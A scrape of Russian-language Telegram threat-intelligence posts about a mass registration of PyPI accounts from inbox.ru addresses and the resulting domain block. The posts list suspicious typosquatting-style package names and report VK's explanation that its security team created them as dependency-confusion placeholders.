🟢webdav2
🟢arbuzmining 🍉
🟢requirements-cpu-txt
🟢requirements-cuda-txt
🟢dl-pivot-pandas
🟢steambaselib 💀
🟢catboost-spark
🟢numpynumpy
🟢antlr4-runtime
🟢celery-telegram
🟢exllama-kernels
🟢booking-api

Некоторые из названий тагретят разработчиков российских компаний:
🟢youla-spark-session 🐱
🟢ipy-kaspersky 💀
🟢vkads
🟢vkpay
🟢vkplay-sync 😺
🟢vkplay-metrics

На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники 🥺

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 3/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
3👾2
Forwarded from ESCalator
Оправдано ли внесение почты @inbox.ru в чёрный список?

В настоящее время при создании почтового ящика на @inbox.ru требуется номер телефона или учётная запись VK. Есть упоминание, что два года назад можно было обойтись без почты. Также можно создать до 10 анонимных ящиков к своей основной почте в рамках официального функционала mail.ru.

Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.

Зарегистрированных на PyPI разработчиков, привязавших почту @inbox.ru, "репрессии" не касаются — были заблокированы только "пользователи", участвовавшие в кампании. Нельзя создавать новые учётные записи или привязывать эти ящики к существующим аккаунтам.

Подводя итог

Ограничение создания новых учётных записей с использованием почты на @inbox.ru — закономерная реакция на кампанию, в рамках которой пара сотен учётных записей, зарегистрированных за короткое время, начинает творить беспредел.

Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.

Получился опенсорсный myth busters 👀

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 4/4
Please open Telegram to view this post
VIEW IN TELEGRAM
4
ESCalator
Страсти вокруг PyPI: 🪰🐘? На прошлой неделе CNews выпустили новость: "Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные". В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python…
Выяснились новые подробности по недавней кампании: https://habr.com/ru/news/931280/

После предыдущей публикации представитель материнской компании inbox.ru обратился к администраторам PyPI для обсуждения ситуации. Они выразили желание решить проблему и восстановить возможность регистрации учётных записей PyPI с адресами электронной почты из домена inbox.ru. Они подтвердили, что регистрация учётных записей пользователей PyPI была произведена внутренней службой безопасности «для предотвращения возможного злоупотребления внешними библиотеками для атак на наши системы».


Яндекс:
⭐️Создаёт одну учётку с названием Yandex Security Team;
⭐️Открыто пишет в проектах, что это заглушки для предотвращения dependency confusion. При попытке установить пакет вызывается исключение с разъяснениями.

VK:
🎎Регает 200+ учёток;
🎎В короткое время создаёт 1500+ пакетов, названия которых отсылают к VK, Steam, ExLlama, Kaspersky, а часть названий походит на явный dependency confusion и typosquatting (win32com, webdav2, requirements-cpu-txt);
🎎Внутри проекты не содержат никакого описания, что это действия команды безопасности VK;
🎎Пакет спокойно ставится.


Теперь мы знаем точно: работать безопасником в VK не скучно 👏

#pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
1😁11221